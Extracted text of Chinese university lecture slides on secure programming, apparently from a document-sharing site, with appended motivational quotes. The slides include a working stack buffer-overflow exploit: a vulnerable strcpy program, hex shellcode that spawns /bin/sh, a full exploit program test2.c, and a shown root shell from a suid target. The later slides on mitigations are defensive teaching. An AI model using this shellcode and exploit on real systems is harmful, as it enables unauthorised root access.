李凤华--计算机安全与保密技术--第十章课件.pptx

上传人:yan****nan 文档编号:89621889 上传时间:2023-05-06 格式:PPTX 页数:67 大小:536.45KB
返回 下载 相关 举报
李凤华--计算机安全与保密技术--第十章课件.pptx_第1页
第1页 / 共67页
李凤华--计算机安全与保密技术--第十章课件.pptx_第2页
第2页 / 共67页
点击查看更多>>
资源描述

《李凤华--计算机安全与保密技术--第十章课件.pptx》由会员分享,可在线阅读,更多相关《李凤华--计算机安全与保密技术--第十章课件.pptx(67页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。

1、网络安全第十讲 安全程序设计本讲内容10.1 现实中的一些安全问题10.2 从几个程序谈起10.3 程序失败的其它例子10.1 现实中的一些安全问题p我的 口令就是我的用户名后加上123p我的口令是Q47pY!3,每隔90天就更换一次p 强而有效的不可破解的加密技术随处均可得 到(尽管有各种各样的进出口限制)不攻击加密技术,攻击其应用的底层基础设施不攻击加密技术,攻击其实现不攻击加密技术,而从用户方面入手Why Security is Harder than it Looksp所有软件都是有错的p通常情况下99.99%无错的程序很少会出问题p同安全相关的99.99%无错的程序可以确信会被人利用

2、那0.01%的错误p0.01%安全问题等于100%的失败10.2 10.2 从几个程序谈起p程序运行平台Redhat Linux 6.1Kernel 2.2.13egcs-2.91.6610.2.1 第一个程序#include#include void SayHello(char*name)char tmpName80;strcpy(tmpName,name);/*Do some checks for tmpName.*/printf(Hello%sn,tmpName);int main(int argc,char*argv)if(argc!=2)printf(Usage:hello.n);r

3、eturn 1;SayHello(argv1);return 0;hello.c运行情况$./hello computerHello computer$./hello aaaa.aHello aaaa.aSegmentation fault(core dumped)hello.cWhy?检查一下程序#include#include void SayHello(char*name)char tmpName80;strcpy(tmpName,name);/*Do some checks for tmpName.*/printf(Hello%sn,tmpName);int main(int argc

4、,char*argv)if(argc!=2)printf(Usage:hello.n);return 1;SayHello(argv1);return 0;hello.c进一步思考进一步思考 发生了什么事?几个要点pLinux及其它几乎所有Intel x86系统、Solaris,etcp分页式存储管理p平面内存结构,4GB或更大逻辑地址空间p栈从下往上生长pC语言不进行边界检查进程内存布局代码区数据区堆栈段字符串向下生长栈段向上生长0 x000000000 xFFFFFFFF调用SayHello之前的栈main函数局部变量区lastfpretipargcargvenv.ESP main栈帧进入

5、SayHello后的栈tmpName80main-fpretipnamemain栈帧.ESP SayHello栈帧准备退出SayHello的栈(情况1)computer.main-fpretipnamemain栈帧.ESP SayHello栈帧 main中return 0;./hello computer准备退出SayHello的栈(情况2)aaaaaaaaaaaaaaaaaaaaaaaaaa0 x616161610 x616161610 x61616161main栈帧.ESP SayHello栈帧retip?./hello aaaaaa.a如果精心选择数据.?.?0 x?0 xNNNNNNN

6、N0 x?.Our-CodesESP SayHello栈帧retip0 xNNNNNNNN如何选择这些数据?p几个问题:SayHello函数局部变量区大小?NNNNNNNN如何确定?Our codes该怎样写输入缓冲区不能包含0局部变量区问题?.?0 x?0 xNNNNNNNN0 x?.Our-CodesESP SayHello栈帧retip0 xNNNNNNNN局部变量区问题0 xNNNNNNNN.NNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNNOur-CodesESP SayHello栈帧retip0 xNNNNNNNN

7、代码起始地址如何确定?0 xNNNNNNNN.NNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNNOur-CodesESP SayHello栈帧retip0 xNNNNNNNN4K代码起始地址如何确定p问题已转化为用ESP加上某一偏移该偏移不需要精确为什么偏移不需要精确?0 xNNNNNNNN.NNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN.NNNNNNOPNOP.NOPReal-CodesESP SayHello栈帧retip0 xNNNNNNNN代码起始地址如何确定p问题已转

8、化为用ESP加上某一偏移该偏移不需要精确pESP如何确定呢用同样选项,插入一段代码,重新编译使用调试工具跟踪应用程序编一小程序,打印出运行时栈顶位置p在同样环境下,不同进程之间栈位置距离不会太远植入代码如何编写jmplabel2label1:popesimovesi+8,esixoreax,eaxmovesi+7,almovesi+12,eaxmoval,0bhmovebx,esileaecx,esi+8leaedx,esi+12int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:call label1cmd:db“/bin/sh”,0植入代码如何编写jm

9、plabel2label1:popesimovesi+8,esixoreax,eaxmovesi+7,almovesi+12,eaxmoval,0bhmovebx,esileaecx,esi+8leaedx,esi+12int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:call label1cmd:db“/bin/sh”,0 esi=cmd植入代码如何编写jmplabel2label1:popesimovesi+8,esixoreax,eaxmovesi+7,almovesi+12,eaxmoval,0bhmovebx,esileaecx,esi+8le

10、aedx,esi+12int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:call label1cmd:db“/bin/sh”,0esi+8:cmd esi=cmd植入代码如何编写jmplabel2label1:popesimovesi+8,esixoreax,eaxmovesi+7,almovesi+12,eaxmoval,0bhmovebx,esileaecx,esi+8leaedx,esi+12int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:call label1cmd:db“/bin/sh”,0esi+8:

11、cmd,0 esi=cmd植入代码如何编写jmplabel2label1:popesimovesi+8,esixoreax,eaxmovesi+7,almovesi+12,eaxmoval,0bhmovebx,esileaecx,esi+8leaedx,esi+12int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:call label1cmd:db“/bin/sh”,0esi+8:cmd,0 esi=cmd运行程序路径运行程序路径exec植入代码如何编写jmplabel2label1:popesimovesi+8,esixoreax,eaxmovesi+

12、7,almovesi+12,eaxmoval,0bhmovebx,esileaecx,esi+8leaedx,esi+12int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:call label1cmd:db“/bin/sh”,0esi+8:cmd,0 esi=cmd_exit植入代码二进制格式char shell_code=xebx1fx5ex89x76x08x31xc0”“x88x46x07x89x46x0cxb0 x0b x89xf3x8dx4ex08x8dx56x0c”“xcdx80 x31xdbx89xd8x40 xcd x80 xe8xdcxf

13、fxffxff/bin/sh;植入代码自测试程序(1)#include unsigned char shell_code=xebx1fx5ex89x76x08x31xc0”“x88x46x07x89x46x0cxb0 x0b x89xf3x8dx4ex08x8dx56x0c”“xcdx80 x31xdbx89xd8x40 xcd x80 xe8xdcxffxffxff/bin/ls;char large_string128;main()char buffer96;int i;test1.c植入代码自测试程序(2)long*long_ptr=(long*)large_string;for(i=0

14、;i 32;i+)long_ptri=(long)buffer;for(i=0;i strlen(shell_code);i+)large_stringi=shell_codei;strcpy(buffer,large_string);printf(Is everything OK?:-)n);test1.c植入代码自测试程序(3)$./test1Is everything OK?:-)hello hello.c test1 test1.c test1.c完整的攻击hello的程序(1)#include#include#include unsigned char shell_code=xebx

15、1fx5ex89x76x08x31xc0”“x88x46x07x89x46x0cxb0 x0b x89xf3x8dx4ex08x8dx56x0c”“xcdx80 x31xdbx89xd8x40 xcd x80 xe8xdcxffxffxff/bin/sh;#define DEFAULT_OFFSET 0#define BUFFER_SIZE 1024 test2.c完整的攻击hello的程序(2)unsigned long get_esp()_asm_(movl%esp,%eax);main(int argc,char*argv)char*buff;char*ptr;unsigned long

16、*addr_ptr;unsigned long esp;int i,ofs;test2.c完整的攻击hello的程序(3)if(argc=1)ofs=DEFAULT_OFFSET;else ofs=atoi(argv1);ptr=buff=malloc(4096);/*Fill in with addresses*/addr_ptr=(unsigned long*)ptr;esp=get_esp();printf(ESP=%08xn,esp);for(i=0;i 100;i+)*(addr_ptr+)=esp+ofs;test2.c完整的攻击hello的程序(4)/*Fill the star

17、t of shell buffer with NOPs*/ptr=(char*)addr_ptr;memset(ptr,A,BUFFER_SIZE-strlen(shell_code);ptr+=BUFFER_SIZE-strlen(shell_code);/*And then the shell code*/memcpy(ptr,shell_code,strlen(shell_code);ptr+=strlen(shell_code);*ptr=0;printf(Is everything OK?:-)n);execl(./hello,hello,buff,NULL);test2.c完整的攻

18、击hello的程序(5)$./test2ESP=bffffcd0Is everything OK?:-)Hello/bin/shbash$_ test2.c得出的结论p一个程序当没有很好地检查边界条件时可能会受到缓冲区溢出攻击p有缓冲区溢出漏洞的程序当它能以特权用户身份运行时,可能让普通用户无需经过认证就可以获得系统特权10.2.2 root exploitpRemote root exploit通过网络,不需认证即可获得root权限pLocal root exploit本地普通用户,利用系统程序的漏洞获得root权限哪些程序将以特权用户身份运行p网络服务程序HTTP Server、Mail

19、Server,etcpsyslogpTrojian木马程序psuid/sgid程序 suid/sgid程序pUnix一项特殊技术,使普通用户也能做只有超级用户才能执行的任务passwd、at、crontab、pingp普通rwx之上加上s位,kernel在载入进程映象时自动将进程有效用户/组标识置为映象文件文件属主/组p例:ls-l/usr/bin/passwd-r-s-x-x 1 root/usr/bin/passwd10.2.3 还是攻击hello的例子$subash#chown root:root hellobash#chmod u+s hello;exit$./test2ESP=bff

20、ffcd0Is everything OK?:-)Hello/bin/shbash#bash#whoamirootbash#_近几年出现过的buffer overflows splitvt,syslog,mount/umount,sendmail,lpr,bind,gethostbyname(),modstat,cron,login,sendmail again,the query CGI script,newgrp,AutoSofts RTS inventory control system,host,talkd,getopt(),sendmail yet again,FreeBSDs cr

21、t0.c,WebSite 1.1,rlogin,term,ffbconfig,libX11,passwd/yppasswd/nispasswd,imapd,ipop3d,SuperProbe,lpd,xterm,eject,lpd again,host,mount,the NLS library,xlock,libXt and further X11R6 libraries,talkd,fdformat,eject,elm,cxterm,ps,fbconfig,metamail,dtterm,df,an entire range of SGI programs,ps again,chkey,l

22、ibX11,suidperl,libXt again,lquerylv,getopt()again,dtaction,at,libDtSvc,eeprom,lpr yet again,smbmount,xlock yet again,MH-6.83,NIS+,ordist,xlock again,ps again,bash,rdist,login/scheme,libX11 again,sendmail for Windows NT,wm,tgetent(),xdat,termcap,portmir,writesrv,rcp,opengroup,telnetd,rlogin,MSIE,ejec

23、t,df,statd,at again,rlogin again,rsh,ping,traceroute,Cisco 7xx routers,xscreensaver,passwd,deliver,cidentd,Xserver,the Yapp conferencing server,multiple problems in the Windows95/NT NT,the Windows War and Serv-U,the Linux dynamic linker,filter(part of elm-2.4),the IMail POP3 server for NT,pset,rpc.n

24、isd,Samba server,ufsrestore,DCE secd,pine,dslip,Real Player,SLMail,socks5,CSM Proxy,imapd(again),Outlook Express,Netscape Mail,mutt,MSIE,Lotus Notes,MSIE again,libauth,login,iwsh,permissions,unfsd,Minicom,nslookup,zpop,dig,WebCam32,smbclient,compress,elvis,lha,bash,jidentd,Tooltalk,ttdbserver,dbadmi

25、n,zgv,mountd,pcnfs,Novell Groupwise,mscreen,xterm,Xaw library,Cisco IOS,mutt again,ospf_monitor,sdtcm_convert,Netscape(all versions),mpg123,Xprt,klogd,catdoc,junkbuster,SerialPOP,and rdist,.10.2.4 怎么解决?p更为小心的程序设计将安全相关的功能隔离到仔细检查的代码内p让栈不可运行会导致若干技术难题p基于编译器的方法在代码内自动增加边界检查(very slow)运行过程中进行栈完整性检查(slight

26、slowdown)重新排列栈变量(no slowdown)10.3 程序失败的其它例子p 传递参数到其它进程p 其它类型输入p Race conditionp 会话密钥的生成p 内存数据保护p 最小特权传参数给其它进程的几种类型pUnix shell scriptspCGI/Perl scriptsp很复杂的应用sendmailp其它类型TCP Wrapperinetd1.其它类型输入(1)pIIS3.0以前GET././pWindows奇怪的目录名解析C:TEMPt1t2t3t4t5t6 cd .C:TEMP _其它类型输入(2)p子进程从父进程继承的内容进程身份puid、gid、euid、

27、egidp可能被跟踪、发信号改变其运行状态打开文件描述符环境变量pIFS、LD_PRELOAD文件创建模式掩码其它类型输入(3)p子进程从父进程继承的内容(续)当前目录和根目录资源极限调度优先级p可能被用于下面将要谈到的race condition攻击内部时钟信号处理p处理函数被重置p但被阻塞信号仍被阻塞,被忽略信号仍被忽略如何正确处理输入(1)p原则:不要相信任何来自不可信信息源的消息p字符串操作类函数不要使用strcpy、strcat、sprintfp换用strncpy、strncat、snprintf不要使用gets、scanfp换用read、fgets小心getenv,可能被用于缓冲区

28、溢出如何正确处理输入(2)p字符串操作类函数(续)小心gethostbyname、gethostbyaddrp某些DNS可能返回恶意地址p如果可能,应该做双向查询p运行新进程system、popen、exec将产生新shell,可能做系统不希望它做的事换用execl或execv,对传递数据作严格一致性检查(sanity check)如何正确处理输入(3)p命令行检查程序中应仔细检查每一参数p尤其是以很高特权运行的程序p数据检查正确的方法:只允许可以确信没有问题的数据通过,如字母、数字、点及一些符号错误的方法:除已知会出问题的数据外都允许通过。可能会有漏网之鱼p例:随早期Apache web s

29、erver的php.cgi就忘了过滤回车符2.Race Conditionp多任务环境下,利用进程运行的异步性,抢占或改变进程使用资源p判断资源性质与真正使用该资源之间有一个时间差,在这段时间内进程很可能运行完时间片被调度出去,此时其它进程可能改变该资源性质。Race Condition例p目的:创建并打开临时文件保证只有当前进程能打开该文件3.会话密钥的生成p生成会话密钥需要大量不可预测的随机数在PC上生成随机数非常困难大多数人的动作行为是不可预测的用户输入可能是不可预测的,但对独立服务器来说很难利用p通常情况下实现由应用开发者处理但开发者的实现大多有误一些有问题的随机数生成器pNetsca

30、pe(原)a=mixbits(time.tv_usec);b=mixbits(getpid()+time.tv_sec+(getppid()12);seed=MD5(a,b);nonce=MD5(seed+);key=MD5(seed+);一些有问题的随机数生成器(续)pKerberos V4pMIT_MAGIC_COOKIE srandom(time.tv_usec time.tv_sec getpid()gethostid()counter+);key=random();for(i=0;i len;i+)value=rand();authI=value&0 xff;生成器类型p随机数生成器

31、包括两个部分轮循机制:用于收集随机数据伪随机数生成器(PRNG):展开输出p分类物理源:各种硬件实现物理源+后续处理:SG100多源轮循:SKIP单源轮循:PGP 2.x,PGP 5.xSecret nonce+PRNG:应用密码学、BSAFESecret fixed value+PRNG:ANSI X9.17生成器例-ANSI X9.17关键在于三次DES加密算法和加密密钥随机性来源p进程及线程信息p鼠标、键盘活动p内存及磁盘使用统计p系统时钟p网络统计p与GUI相关信息p通常需要在后台周期性轮循随机源,同时估计随机性,当发现不够随机时,应采取相应措施4.存储保护p敏感数据通常都保存在内存中

32、,但RAM数据随时可能被换到磁盘上p你可能会在Windows交换文件中发现你加密口令的多个拷贝p“Suspend to disk”使这一问题更加麻烦其它进程可能从内存中读取数据电源掉电后,RAM内容还有可能恢复p文件的安全删除保护内存(1)p锁住敏感内存区:并不容易Unix:mlock(),只能由超级用户使用Win95/98:提供VirtualLock(),但不起作用WinNT:提供VirtualLock(),但非强制(数据仍可能被换出)p扫描内存,查找数据VirtualQueryEx()VirtualUnprotectEx()ReadProcessMemory()保护内存(2)p使用内存映射

33、文件自己创建交换文件内存即使被交换出去也是交换到已知文件上,而不是由系统自动处理用完后文件即可删除p问题真正彻底删除磁盘数据是不可能的当系统崩溃或掉电后数据不会自动清除保护内存(3)p使数据总保持在内存中用一后台线程定时访问该数据p不按页分配内存需要Kernel支持很难将内存从kernel空间映射到user空间5.最小特权原则p程序应该按照它能做事的最小特权运行p将任务分解成若干部分,每一部分都按最小特权运行1、有时候读书是一种巧妙地避开思考的方法。5月-235月-23Saturday,May 6,20232、阅读一切好书如同和过去最杰出的人谈话。08:27:1508:27:1508:275/

34、6/2023 8:27:15 AM3、越是没有本领的就越加自命不凡。5月-2308:27:1508:27May-2306-May-234、越是无能的人,越喜欢挑剔别人的错儿。08:27:1508:27:1508:27Saturday,May 6,20235、知人者智,自知者明。胜人者有力,自胜者强。5月-235月-2308:27:1508:27:15May 6,20236、意志坚强的人能把世界放在手中像泥块一样任意揉捏。06五月20238:27:15上午08:27:155月-237、最具挑战性的挑战莫过于提升自我。五月238:27上午5月-2308:27May 6,20238、业余生活要有意义

35、,不要越轨。2023/5/68:27:1508:27:1506 May 20239、一个人即使已登上顶峰,也仍要自强不息。8:27:15上午8:27上午08:27:155月-2310、你要做多大的事情,就该承受多大的压力。5/6/2023 8:27:15 AM08:27:1506-5月-2311、自己要先看得起自己,别人才会看得起你。5/6/2023 8:27 AM5/6/2023 8:27 AM5月-235月-2312、这一秒不放弃,下一秒就会有希望。06-May-2306 May 20235月-2313、无论才能知识多么卓著,如果缺乏热情,则无异纸上画饼充饥,无补于事。Saturday,May 6,202306-May-235月-2314、我只是自己不放过自己而已,现在我不会再逼自己眷恋了。5月-2308:27:1506 May 202308:27谢谢大家谢谢大家

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 管理文献 > 管理手册

本站为文档C TO C交易模式,本站只提供存储空间、用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。本站仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知淘文阁网,我们立即给予删除!客服QQ:136780468 微信:18945177775 电话:18904686070

工信部备案号:黑ICP备15003705号© 2020-2023 www.taowenge.com 淘文阁